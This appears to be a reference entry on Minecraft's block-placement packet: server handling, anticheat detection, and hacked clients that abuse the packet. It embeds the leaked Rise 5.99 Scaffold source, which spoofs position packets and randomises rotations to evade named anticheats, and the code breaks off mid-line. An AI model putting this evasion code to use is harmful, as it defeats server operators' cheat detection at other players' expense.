    "overview": "The use/place workhorse. Clients split it into three dialects: the item-use form (direction 255) for AutoPot/NoSlow/autoblock, the placement form for Scaffold, and the invalid-position form as a fake-use trick for disablers and speed modules.",
    "server_handling": "processPlayerBlockPlacement: if direction == 255, tryUseItem (no position checks); else enforce build limit, 8-block distance from the last confirmed position, world border and block protection before placing. Stack mismatch with the real inventory triggers an S2FPacketSetSlot resync. The server never validates that the client's held item matches the packet's stack for the 255 path beyond the slot resync.",
    "protocol_notes": "Fields: BlockPos (long), direction byte (255 = no face), ItemStack, three cursor bytes (0-16 mapped from floats). The item-use form still carries a position (usually BlockPos.ORIGIN or (-1,-1,-1)); vanilla ignores it when direction == 255. ViaVersion clients (Rise 6.2.4 BlockPlacementFixComponent) translate this to newer protocol versions where the packet was split into UseItemOn/UseItem.",
    "anticheat_landscape": "NCP flags scaffold rotations vs placement faces, Verus tracks placement frequency, Watchdog detects fake water-bucket placements when the inventory does not contain a bucket (Rise 6.2.4 WatchdogDisabler guards with BadPacketsComponent checks). AutoPot spam is caught by consumption-rate checks on popular servers; Noslow C08 spam is a classic Intave/Verus detection vector, hence the many per-AC modes in Rise 6.x.",
    "modules": [
     {
      "name": "Scaffold",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11",
       "November Recode 2.0"
      ],
      "purpose": "Place a block under the player every tick while moving, using silent rotations and silent item switching.",
      "how_it_works": "On each pre-motion tick, raycast or brute-force a BlockPos below/around the player, pick the best block slot, send C09 to switch if needed, then send C08 with the target pos, the face, the held ItemStack and cursor offsets. Rise 5.99 additionally cancels incoming C09PacketHeldItemChange so the visible hotbar never moves, sends START/STOP_SNEAKING C0B for eagle mode, and releases the placement via PacketUtil.sendPacket.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/player/Scaffold.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.player;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PostMotionEvent;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.other.CanPlaceBlockEvent;\nimport dev.rise.event.impl.other.MoveButtonEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.event.impl.render.BlurEvent;\nimport dev.rise.event.impl.render.Render2DEvent;\nimport dev.rise.event.impl.render.Render3DEvent;\nimport dev.rise.font.CustomFont;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.movement.Speed;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.ModeSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport dev.rise.util.player.RotationUtil;\nimport dev.rise.util.render.RenderUtil;\nimport dev.rise.util.world.BlockUtil;\nimport dev.rise.util.world.EnumFacingOffset;\nimport dev.rise.viamcp.ViaMCP;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.gui.ScaledResolution;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.client.renderer.RenderHelper;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.item.ItemBlock;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.network.play.server.S2FPacketSetSlot;\nimport net.minecraft.potion.Potion;\nimport net.minecraft.util.*;\nimport org.lwjgl.input.Keyboard;\nimport org.lwjgl.input.Mouse;\n\nimport java.awt.*;\nimport java.security.SecureRandom;\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.List;\n\n/**\n * This module automatically puts a block under you to easily bridge effortlessly.\n */\n@ModuleInfo(name = \"Scaffold\", description = \"Places blocks under you\", category = Category.PLAYER)\npublic final class Scaffold extends Module {\n\n    private final NoteSetting modeSettings = new NoteSetting(\"Mode Settings\", this);\n    private final ModeSetting rotations = new ModeSetting(\"Rotations\", this, \"Normal\", \"None\", \"Normal\", \"Simple\", \"Down\", \"Snap\", \"Bruteforce\", \"Pitch Abuse\", \"Hypixel\");\n    private final ModeSetting tower = new ModeSetting(\"Tower\", this, \"None\", \"None\", \"Vanilla\", \"Slow\", \"Verus\", \"Intave\", \"Hypixel\", \"NCP\");\n    private final ModeSetting movementFix = new ModeSetting(\"Movement Fix\", this, \"None\", \"None\", \"Yaw\", \"Hidden\");\n    private final ModeSetting sprint = new ModeSetting(\"Sprint\", this, \"Normal\", \"Normal\", \"None\", \"Bypass\", \"Legit\", \"Hypixel\");\n    //    private final ModeSetting speed = new ModeSetting(\"Speed\", this, \"None\", \"None\", \"NCP\", \"AAC\", \"Experimental\");\n    private final ModeSetting blockCounter = new ModeSetting(\"Block Counter\", this, \"Normal\", \"Normal\", \"Minecraft\");\n\n    private final NoteSetting generalSettings = new NoteSetting(\"General Settings\", this);\n    private final NumberSetting timer = new NumberSetting(\"Timer\", this, 1, 0.1, 10, 0.1);\n    private final NumberSetting towerTimer = new NumberSetting(\"Tower Timer\", this, 1, 0.1, 10, 0.1);\n    private final BooleanSetting towerMove = new BooleanSetting(\"Tower Move\", this, false);\n    private final BooleanSetting downwards = new BooleanSetting(\"Downwards\", this, true);\n    private final BooleanSetting safewalk = new BooleanSetting(\"Safe Walk\", this, true);\n    private final BooleanSetting strafe = new BooleanSetting(\"Strafe\", this, false);\n    private final BooleanSetting sameY = new BooleanSetting(\"Same Y\", this, false);\n    private final BooleanSetting swing = new BooleanSetting(\"Swing\", this, true);\n    private final BooleanSetting disableOnWorldChange = new BooleanSetting(\"Disable on World Change\", this, false);\n    private final BooleanSetting disableSpeed = new BooleanSetting(\"Disable Speed\", this, false);\n\n    private final NoteSetting bypassSettings = new NoteSetting(\"Bypass Settings\", this);\n    private final NumberSetting range = new NumberSetting(\"Range\", this, 3, 1, 6, 0.5);\n    private final BooleanSetting randomiseRotationSpeedOnEnable = new BooleanSetting(\"Randomise Rotation Speed On Enable\", this, false);\n    private final NumberSetting rotationSpeed = new NumberSetting(\"Rotation Speed\", this, 50, 5, 360, 5);\n    private final NumberSetting randomisation = new NumberSetting(\"Randomisation\", this, 1, 0, 6, 0.1);\n    private final NumberSetting placeDelay = new NumberSetting(\"Place Delay\", this, 0, 0, 5, 0.1);\n    private final BooleanSetting randomisePlaceDelay = new BooleanSetting(\"Randomise Place Delay\", this, false);\n    private final NumberSetting speedMultiplier = new NumberSetting(\"Speed Multiplier\", this, 1, 0, 2, 0.05);\n    private final NumberSetting eagle = new NumberSetting(\"Eagle\", this, 4, 0, 15, 1, \"15-Never\", \"0-Packet\");\n    private final NumberSetting expand = new NumberSetting(\"Expand\", this, 0, 0, 5, 0.1);\n    private final BooleanSetting ignoreSpeed = new BooleanSetting(\"Ignore Speed\", this, false);\n    private final ModeSetting rayCast = new ModeSetting(\"Ray Cast\", this, \"Normal\", \"Normal\", \"Strict\", \"Off\");\n    private final ModeSetting placeOn = new ModeSetting(\"Place on\", this, \"Legit\", \"Legit\", \"Post\", \"Pre\");\n    private final BooleanSetting dragClick = new BooleanSetting(\"Drag Click\", this, false);\n    private final BooleanSetting jitter = new BooleanSetting(\"Jitter\", this, false);\n    private final BooleanSetting telly = new BooleanSetting(\"Telly\", this, false);\n    private final ModeSetting tellyMode = new ModeSetting(\"Telly Mode\", this, \"Legit\", \"Legit\", \"Teleport\", \"Custom\");\n    private final NumberSetting teleportOhMyGod = new NumberSetting(\"Teleport Height\", this, 0.42, 0.01, 5.00, 0.01);\n    private final NumberSetting tellyVerticalAmount = new NumberSetting(\"Custom Vertical Amount\", this, 0.42, 0.01, 1.00, 0.01);\n    private final NumberSetting tellyHorizontalAmount = new NumberSetting(\"Custom Horizontal Amount\", this, 0.35, 0.0, 4.0, 0.01);\n    private final BooleanSetting hideJumps = new BooleanSetting(\"Hide Jumps\", this, false);\n\n    private Vec3 targetBlock;\n    private List<Vec3> placePossibilities = new ArrayList<>();\n    private EnumFacingOffset enumFacing;\n    private BlockPos blockFace;\n    private boolean touchedGround;\n    private int slowTicks;\n\n    private float targetYaw, targetPitch, yaw, lastYaw, lastPitch;\n    public static float pitch;\n\n    private boolean lastGround;\n    private int blockCount;\n    private int ticksOnAir;\n    private double startY;\n    private int slot;\n    private int offGroundTicks;\n    private int blocksPlaced;\n    private int towerOnGroundTicks;\n    private boolean sneaking;\n    private boolean shiftPressed;\n    private boolean shouldEnableSpeed;\n    private float offsetYaw, offsetPitch;\n    TimeUtil timer3 = new TimeUtil();\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        rotationSpeed.hidden = rotations.is(\"None\");\n\n        tellyMode.hidden = !telly.isEnabled();\n\n        tellyVerticalAmount.hidden = tellyHorizontalAmount.hidden = !tellyMode.is(\"Custom\") || !telly.isEnabled();\n\n        teleportOhMyGod.hidden = !tellyMode.is(\"Teleport\") || !telly.isEnabled();\n    }\n\n    @Override\n    protected void onEnable() {\n        if (this.getModule(Speed.class).isEnabled() && disableSpeed.isEnabled()) {\n            shouldEnableSpeed = true;\n            this.getModule(Speed.class).setEnabled(false);\n            this.registerNotification(\"Disabled Speed to prevent flags.\");\n        } else {\n            shouldEnableSpeed = false;\n        }\n        slowTicks = 0;\n        slot = mc.thePlayer.inventory.currentItem;\n\n        yaw = lastYaw = mc.thePlayer.rotationYaw;\n        pitch = lastPitch = mc.thePlayer.rotationPitch;\n        if (sprint.is(\"Hypixel\") && !mc.thePlayer.onGround) {\n            MoveUtil.stop();\n        }\n        if (rotations.is(\"Pitch Abuse\")) {\n            targetYaw = mc.thePlayer.rotationYaw;\n            targetPitch = 94;\n        } else {\n            targetYaw = mc.thePlayer.rotationYaw - 180;\n            targetPitch = 90;\n        }\n\n        startY = mc.thePlayer.posY;\n        targetBlock = null;\n        placePossibilities.clear();\n\n        if (randomiseRotationSpeedOnEnable.isEnabled()) {\n            rotationSpeed.setValue(50 + (85 - 50) * Math.random());\n        }\n\n        offsetYaw = (float) ((Math.random() - 0.5) * 2);\n        offsetPitch = (float) ((Math.random() - 0.5) * 2);\n\n    }\n\n    @Override\n    public void onWorldChanged(final WorldChangedEvent event) {\n        if (disableOnWorldChange.isEnabled()) {\n            this.toggleModule();\n        }\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S2FPacketSetSlot) event.setCancelled(true);\n    }\n\n    @Override\n    protected void onDisable() {\n        mc.gameSettings.keyBindForward.setKeyPressed(Keyboard.isKeyDown(mc.gameSettings.keyBindForward.getKeyCode()));\n        blocksPlaced = 0;\n        if (shouldEnableSpeed) {\n            if (!this.getModule(Speed.class).isEnabled()) {\n                this.getModule(Speed.class).setEnabled(true);\n                this.registerNotification(\"Enabled Speed since it was previously enabled.\");\n            }\n        }\n        if (slot != mc.thePlayer.inventory.currentItem)\n            PacketUtil.sendPacketWithoutEvent(new C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem));\n\n        EntityPlayer.movementYaw = null;\n        mc.timer.timerSpeed = 1;\n        mc.gameSettings.keyBindSneak.setKeyPressed(false);\n        EntityPlayer.enableCameraYOffset = false;\n\n        if (sneaking) {\n            sneaking = false;\n            PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));\n        }\n    }\n\n    @Override\n    public void onStrafe(final StrafeEvent event) {\n        if (movementFix.is(\"Hidden\")) {\n            event.setCancelled(true);\n            silentRotationStrafe(event, yaw);\n        }\n\n        if (strafe.isEnabled()) MoveUtil.strafe();\n    }\n\n    @Override\n    public void onRender3DEvent(final Render3DEvent event) {\n        if (!rotations.is(\"None\")) {\n            if (enumFacing == null || blockFace == null) return;\n\n            this.calculateRotations();\n        }\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n\n        if (disableSpeed.isEnabled() && this.getModule(Speed.class).isEnabled()) {\n            this.toggleModule();\n            this.registerNotification(\"Disabled \" + this.getModuleInfo().name() + \" to prevent flags.\");\n        }\n        if (this.placeOn.is(\"Pre\")) {\n            this.placeBlock();\n        }\n        double forward = 0, posX = 0, posZ = 0;\n\n        float direction = (float) MoveUtil.getDirection();\n        posX = -MathHelper.sin(direction) * forward + mc.thePlayer.posX;\n        posZ = MathHelper.cos(direction) * forward + mc.thePlayer.posZ;\n\n        for (forward = 0; forward <= expand.getValue() && !(PlayerUtil.getBlock(posX, mc.thePlayer.posY - 1, posZ) instanceof BlockAir); forward += 0.1) {\n            if (tower.is(\"Hypixel\") && Keyboard.isKeyDown(mc.gameSettings.keyBindJump.getKeyCode()) && !this.getModule(Speed.class).isEnabled() && mc.currentScreen == null) {\n                if (blocksPlaced % 3 == 0) {\n                    forward = 1;\n                }\n            } else {\n                forward = expand.getValue();\n            }\n            direction = (float) MoveUtil.getDirection();\n            posX = -MathHelper.sin(direction) * forward + mc.thePlayer.posX;\n            posZ = MathHelper.cos(direction) * forward + mc.thePlayer.posZ;\n        }\n\n        if (!MoveUtil.isMoving() && !tower.is(\"Hypixel\")) {\n            forward = 0;\n            posX = -MathHelper.sin(direction) * forward + mc.thePlayer.posX;\n            posZ = MathHelper.cos(direction) * forward + mc.thePlayer.posZ;\n        }\n\n\n        if (PlayerUtil.getBlock(posX, mc.thePlayer.posY - 1, posZ) instanceof BlockAir) ticksOnAir++;\n        else ticksOnAir = 0;\n\n        if (mc.thePlayer.onGround) {\n            offGroundTicks = 0;\n        } else offGroundTicks++;\n\n        EntityPlayer.enableCameraYOffset = false;\n\n        if (mc.thePlayer.posY > startY && hideJumps.isEnabled() && !mc.gameSettings.keyBindJump.isKeyDown()) {\n            EntityPlayer.enableCameraYOffset = true;\n            EntityPlayer.cameraYPosition = startY;\n        }\n\n        // Ghost item fix\n        for (int slot = 0; slot < 9; slot++) {\n            if (mc.thePlayer.inventory.getStackInSlot(slot) != null && mc.thePlayer.inventory.getStackInSlot(slot).getItem() instanceof ItemBlock) {\n                ItemStack stack = mc.thePlayer.inventory.getStackInSlot(slot);\n\n                if (stack.getStackSize() == 0) mc.thePlayer.inventory.setInventorySlotContents(slot, null);\n            }\n        }\n\n        int blocks = 0;\n\n        for (int i = 36; i < 45; ++i) {\n            final ItemStack itemStack = mc.thePlayer.inventoryContainer.getSlot(i).getStack();\n            if (itemStack != null && itemStack.getItem() instanceof ItemBlock && itemStack.stackSize > 0) {\n                final Block block = ((ItemBlock) itemStack.getItem()).getBlock();\n                if (block.isFullCube() && !BlockUtil.BLOCK_BLACKLIST.contains(block))\n                    blocks += itemStack.getStackSize();\n            }\n        }\n\n        blockCount = blocks;\n\n        if (mc.thePlayer.onGround || (mc.gameSettings.keyBindJump.isKeyDown() && !sameY.isEnabled()))\n            startY = mc.thePlayer.posY;\n\n        final int blockSlot = BlockUtil.findBlock() - 36;\n\n        if (blockSlot < 0 || blockSlot > 9) return;\n\n        // Sprinting\n        switch (sprint.getMode()) {\n            case \"None\": {\n                mc.gameSettings.keyBindSprint.setKeyPressed(false);\n                mc.thePlayer.setSprinting(false);\n                break;\n            }\n\n            case \"Bypass\": {\n                mc.thePlayer.setSprinting(false);\n                break;\n            }\n\n            case \"Legit\": {\n                if (Math.abs(MathHelper.wrapAngleTo180_float(mc.thePlayer.rotationYaw) - MathHelper.wrapAngleTo180_float(yaw)) > 90) {\n                    mc.gameSettings.keyBindSprint.setKeyPressed(false);\n                    mc.thePlayer.setSprinting(false);\n                }\n                break;\n            }\n\n            case \"Hypixel\": {\n                if (MoveUtil.isMoving() && slowTicks <= 3 && mc.thePlayer.onGround && slowTicks >= 0) {\n                    mc.gameSettings.keyBindSprint.setKeyPressed(true);\n                    mc.thePlayer.setSprinting(true);\n                    final double[] xz = yawPos((float) ((float) MoveUtil.getDirection()), (MoveUtil.getBaseMoveSpeed() / 2) - Math.random() / 100);\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX - xz[0], mc.thePlayer.posY, mc.thePlayer.posZ - xz[1], true));\n                    if (mc.thePlayer.ticksExisted % 5 == 0) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX - getRandomHypixelValues(), mc.thePlayer.posY, mc.thePlayer.posZ - getRandomHypixelValues());\n                    }\n                    slowTicks--;\n                }\n                mc.thePlayer.motionX *= .975;\n                mc.thePlayer.motionZ *= .975;\n            }\n        }\n\n        // Speed\n//        switch (speed.getMode()) {\n//            case \"NCP\": {\n//                if (mc.thePlayer.onGround) {\n//                    if (mc.thePlayer.ticksExisted % 15 == 0) {\n//                        mc.thePlayer.motionX *= 1.5 + Math.random() / 100D;\n//                        mc.thePlayer.motionZ *= 1.5 + Math.random() / 100D;\n//                    } else if (mc.thePlayer.ticksExisted - 2 % 15 == 0) {\n//                        mc.thePlayer.motionX *= 0.7;\n//                        mc.thePlayer.motionZ *= 0.7;\n//                    }\n//                }\n//            }\n//            case \"AAC\": {\n//                break;\n//            }\n//            case \"Experimental\": {\n//                break;\n//            }\n//        }\n\n        placePossibilities = getPlacePossibilities();\n\n        if (placePossibilities.isEmpty()) return;\n\n        double finalPosX = posX;\n        double finalPosZ = posZ;\n        placePossibilities.sort(Comparator.comparingDouble(vec3 -> {\n\n            final double d0 = finalPosX - vec3.xCoord;\n            final double d1 = mc.thePlayer.posY - 1 - vec3.yCoord;\n            final double d2 = finalPosZ - vec3.zCoord;\n            return MathHelper.sqrt_double(d0 * d0 + d1 * d1 + d2 * d2);\n\n        }));\n\n        targetBlock = placePossibilities.get(0);\n\n        enumFacing = getEnumFacing(targetBlock);\n\n        if (downwards.isEnabled() && mc.gameSettings.keyBindSneak.isKeyDown() && mc.thePlayer.onGround && enumFacing != null && enumFacing.getEnumFacing() != null)\n            enumFacing.enumFacing = EnumFacing.DOWN;\n\n        if (sameY.isEnabled() && mc.thePlayer.posY < startY) startY = mc.thePlayer.posY;\n\n        if (enumFacing == null) return;\n\n        final BlockPos position = new BlockPos(targetBlock.xCoord, targetBlock.yCoord, targetBlock.zCoord);\n\n        blockFace = position.add(enumFacing.getOffset().xCoord, enumFacing.getOffset().yCoord, enumFacing.getOffset().zCoord);\n\n        if (blockFace == null) return;\n\n        shiftPressed = mc.theWorld.getBlockState(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.0, mc.thePlayer.posZ)).getBlock() instanceof BlockAir && mc.thePlayer.onGround && blocksPlaced == eagle.getValue() && eagle.getValue() != 15 && eagle.getValue() != 0;\n\n        if (mc.theWorld.getBlockState(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.0, mc.thePlayer.posZ)).getBlock() instanceof BlockAir && eagle.getValue() == 0) {\n            if (!sneaking) {\n                sneaking = true;\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING));\n            }\n        } else {\n            if (sneaking) {\n                sneaking = false;\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING));\n            }\n        }\n\n        if (blocksPlaced > eagle.getValue()) blocksPlaced = 1;\n\n        if (!rotations.is(\"None\")) {\n            if (PlayerUtil.isOnServer(\"hypixel\")) {\n                event.setYaw((float) (yaw + offsetYaw + ((Math.random() > 0.7) ? (Math.random() - 0.5) : 0)));\n                event.setPitch((float) (pitch + offsetPitch + ((Math.random() > 0.7) ? (Math.random() - 0.5) : 0)));\n\n            } else {\n                event.setYaw(yaw);\n                event.setPitch(pitch);\n            }\n\n            mc.thePlayer.renderYawOffset = yaw;\n            mc.thePlayer.rotationYawHead = yaw;\n\n//            mc.thePlayer.rotationYaw = yaw;\n//            mc.thePlayer.rotationPitch = pitch;\n\n            lastYaw = yaw;\n            lastPitch = pitch;\n        } else {\n            yaw = mc.thePlayer.rotationYaw;\n            pitch = mc.thePlayer.rotationPitch;\n        }\n\n        if (placePossibilities.isEmpty() || targetBlock == null || enumFacing == null || blockFace == null || slot < 0 || slot > 9)\n            return;\n\n        mc.timer.timerSpeed = (float) timer.getValue();\n\n\n        // Tower\n        if (Keyboard.isKeyDown(mc.gameSettings.keyBindJump.getKeyCode()) && !this.getModule(Speed.class).isEnabled() && mc.currentScreen == null) {\n            mc.timer.timerSpeed = (float) towerTimer.getValue();\n\n            if (!tower.is(\"None\")) mc.gameSettings.keyBindJump.setKeyPressed(false);\n\n            if (!towerMove.isEnabled() && !tower.is(\"None\"))\n                mc.thePlayer.setPosition(Math.floor(mc.thePlayer.posX) + 0.5, mc.thePlayer.posY, Math.floor(mc.thePlayer.posZ) + 0.5);\n\n            switch (tower.getMode()) {\n                case \"Vanilla\": {\n                    mc.thePlayer.motionY = 0.42F;\n                    break;\n                }\n\n                case \"Hypixel\": {\n                    mc.thePlayer.setSprinting(false);\n                    if (mc.thePlayer.posY % 1 <= 0.00153598) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, Math.floor(mc.thePlayer.posY), mc.thePlayer.posZ);\n//                        mc.thePlayer.jump();\n                        mc.thePlayer.motionY = 0.42F - Math.random() / 10000f;\n                    } else if (mc.thePlayer.posY % 1 < 0.1 && offGroundTicks != 0) {\n                        mc.thePlayer.motionY = 0;\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, Math.floor(mc.thePlayer.posY), mc.thePlayer.posZ);\n                    }\n                    break;\n                }\n\n                case \"Slow\": {\n                    if (mc.thePlayer.onGround) mc.thePlayer.motionY = 0.4F;\n                    else if (PlayerUtil.getBlockRelativeToPlayer(0, -1, 0) instanceof BlockAir)\n                        mc.thePlayer.motionY -= 0.4F;\n\n                    MoveUtil.stop();\n                    break;\n                }\n\n                case \"Verus\": {\n                    if (mc.thePlayer.ticksExisted % 2 == 0) {\n                        mc.thePlayer.motionY = 0.42F;\n                    }\n                    break;\n                }\n\n                case \"Intave\": {\n                    if (mc.thePlayer.onGround) {\n                        mc.thePlayer.motionY = 0.40444491418477924;\n                    }\n\n                    if (offGroundTicks == 5) {\n                        mc.thePlayer.motionY = MoveUtil.getPredictedMotionY(mc.thePlayer.motionY);\n                    }\n                    break;\n                }\n\n                case \"NCP\": {\n\n                    if (mc.thePlayer.posY % 1 <= 0.00153598) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, Math.floor(mc.thePlayer.posY), mc.thePlayer.posZ);\n//                        mc.thePlayer.jump();\n                        mc.thePlayer.motionY = 0.41998F - getRandomHypixelValues() / 2;\n                    } else if (mc.thePlayer.posY % 1 < 0.1 && offGroundTicks != 0) {\n                        mc.thePlayer.setPosition(mc.thePlayer.posX, Math.floor(mc.thePlayer.posY), mc.thePlayer.posZ);\n                    }\n                    break;\n                }\n            }\n        }\n\n        final double baseSpeed = getBaseSpeed();\n        final double speedMultiplier = this.speedMultiplier.getValue();\n        if (Math.abs(speedMultiplier - 1.0) > 1E-4 && mc.thePlayer.onGround && !(mc.thePlayer.isPotionActive(Potion.moveSpeed) && mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier() > 2 - 1) && baseSpeed != 0) {\n            MoveUtil.strafe(baseSpeed * speedMultiplier);\n        }\n    }\n\n    public double getBaseSpeed() {\n        if (mc.gameSettings.keyBindSprint.isKeyDown()) {\n            if (mc.thePlayer.isPotionActive(Potion.moveSpeed) && !ignoreSpeed.isEnabled()) {\n                if (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier() + 1 == 1) {\n                    return 0.18386012061481244;\n                } else {\n                    return 0.21450346015841276;\n                }\n            } else {\n                return 0.15321676228437875;\n            }\n        } else {\n            if (mc.thePlayer.isPotionActive(Potion.moveSpeed) && !ignoreSpeed.isEnabled()) {\n                if (mc.thePlayer.getActivePotionEffect(Potion.moveSpeed).getAmplifier() + 1 == 1) {\n                    return 0.14143085686761;\n                } else {\n                    return 0.16500264553372018;\n                }\n            } else {\n                return 0.11785905094607611;\n            }\n        }\n    }\n\n    public float[] calculateRotations() {\n        if (((ticksOnAir > placeDelay.getValue()) || rotations.is(\"Snap\")) || movementFix.is(\"Yaw\")) {\n            final float[] rotations = BlockUtil.getDirectionToBlock(blockFace.getX(), blockFace.getY(), blockFace.getZ(), enumFacing.getEnumFacing());\n\n            if (movementFix.is(\"Yaw\")) {\n                targetYaw = (float) (MoveUtil.getDirectionWrappedTo90() * (180 / Math.PI) - 180);\n                targetPitch = rotations[1];\n\n                switch (this.rotations.getMode()) {\n                    case \"Snap\": {\n                        if (ticksOnAir > placeDelay.getValue()) {\n                            targetYaw = (float) (MoveUtil.getDirectionWrappedTo90() * (180 / Math.PI) - 180);\n                            targetPitch = rotations[1];\n                        } else {\n                            targetYaw = (float) (mc.thePlayer.rotationYaw + Math.random());\n                            targetPitch = mc.thePlayer.rotationPitch;\n                        }\n                        break;\n                    }\n                }\n            } else {\n                switch (this.rotations.getMode()) {\n                    case \"Normal\": {\n                        targetYaw = rotations[0];\n                        targetPitch = rotations[1];\n                        break;\n                    }\n\n                    case \"Simple\": {\n                        float yaw = 0;\n\n                        switch (enumFacing.getEnumFacing()) {\n                            case SOUTH: {\n                                yaw = 180;\n                                break;\n                            }\n\n                            case EAST: {\n                                yaw = 90;\n                                break;\n                            }\n\n                            case WEST: {\n                                yaw = -90;\n                                break;\n                            }\n                        }\n\n                        targetYaw = yaw;\n                        targetPitch = 90;\n                        break;\n                    }\n\n                    case \"Down\": {\n                        targetPitch = (float) (89 + Math.random() / 200f);\n                        targetYaw = (float) (mc.thePlayer.rotationYaw - 180 - Math.random() * 15);\n                        break;\n                    }\n                    case \"Hypixel\": {\n                        targetPitch = (float) (89 + Math.random() / 100f);\n                        targetYaw = (float) (mc.thePlayer.rotationYaw + 180 - Math.random() * 10);\n                        break;\n                    }\n\n                    case \"Snap\": {\n                        targetYaw = rotations[0];\n                        targetPitch = rotations[1];\n                        if (ticksOnAir <= placeDelay.getValue()) {\n                            targetYaw = (float) (mc.thePlayer.rotationYaw + Math.random());\n                            targetPitch = mc.thePlayer.rotationPitch;\n                        }\n                        break;\n                    }\n\n                    case \"Bruteforce\": {\n                        boolean found = false;\n                        for (float yaw = mc.thePlayer.rotationYaw - 180; yaw <= mc.thePlayer.rotationYaw + 360 - 180 && !found; yaw += 45) {\n                            for (float pitch = 90; pitch > 30 && !found; pitch -= 1) {\n                                if (BlockUtil.lookingAtBlock(blockFace, yaw, pitch, enumFacing.getEnumFacing(), rayCast.is(\"Strict\"))) {\n                                    targetYaw = yaw;\n                                    targetPitch = pitch;\n                                    found = true;\n                                }\n                            }\n                        }\n\n                        if (!found) {\n                            targetYaw = (float) (rotations[0] + (Math.random() - 0.5) * 4);\n                            targetPitch = (float) (rotations[1] + (Math.random() - 0.5) * 4);\n                        }\n                        break;\n                    }\n\n                    case \"Pitch Abuse\":\n                        boolean found = false;\n\n                        boolean strict = rayCast.is(\"Strict\");\n\n                        for (float yaw = mc.thePlayer.rotationYaw; yaw <= mc.thePlayer.rotationYaw + 360 && !found; yaw += 5) {\n                            for (float pitch = 120; pitch < 180 && !found; pitch += 1) {\n                                if (BlockUtil.lookingAtBlock(blockFace, yaw, pitch, enumFacing.getEnumFacing(), strict)) {\n                                    targetYaw = yaw;\n                                    targetPitch = pitch;\n                                    found = true;\n                                }\n                            }\n                        }\n\n                        if (!found) {\n                            targetYaw = mc.thePlayer.rotationYaw;\n                            targetPitch = 94;\n                        }\n                        break;\n                }\n            }\n        }\n\n        final int fps = (int) (Minecraft.getDebugFPS() / 20.0F);\n\n        final float rotationSpeed = (float) (this.rotationSpeed.getValue() + Math.random() * 20) * 6 / fps;\n\n        final float deltaYaw = (((targetYaw - lastYaw) + 540) % 360) - 180;\n        final float deltaPitch = targetPitch - lastPitch;\n\n        final float distanceYaw = MathHelper.clamp_float(deltaYaw, -rotationSpeed, rotationSpeed);\n        final float distancePitch = MathHelper.clamp_float(deltaPitch, -rotationSpeed, rotationSpeed);\n\n        yaw = lastYaw + distanceYaw;\n        pitch = lastPitch + distancePitch;\n\n        targetPitch += (float) (this.randomisation.getValue() * (Math.random() - 0.5) * 3);\n        targetYaw += (float) (this.randomisation.getValue() * (Math.random() - 0.5) * 3);\n\n        if (rotationSpeed >= 355) {\n            yaw = targetYaw;\n            pitch = targetPitch;\n        }\n\n        final float[] currentRotations = new float[]{yaw, pitch};\n        final float[] lastRotations = new float[]{lastYaw, lastPitch};\n\n        final float[] fixedRotations = RotationUtil.getFixedRotation(currentRotations, lastRotations);\n\n        yaw = fixedRotations[0];\n        pitch = fixedRotations[1];\n\n        if (!rotations.is(\"Pitch Abuse\")) pitch = MathHelper.clamp_float(pitch, -90, 90);\n\n        return new float[]{yaw, pitch};\n    }\n\n    @Override\n    public void onRender2DEvent(final Render2DEvent event) {\n        if (blockCount == 0) return;\n\n        final ScaledResolution sr = event.getScaledResolution();\n        final ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(slot);\n        Color color;\n\n        if (blockCount <= 63) {\n            color = Color.RED;\n        } else color = Color.GREEN;\n\n\n        if (blockCounter.is(\"MC\")) {\n            final int height = sr.getScaledHeight() / 2;\n\n            mc.fontRendererObj.drawStringWithShadow(String.valueOf(blockCount), sr.getScaledWidth() / 2F + 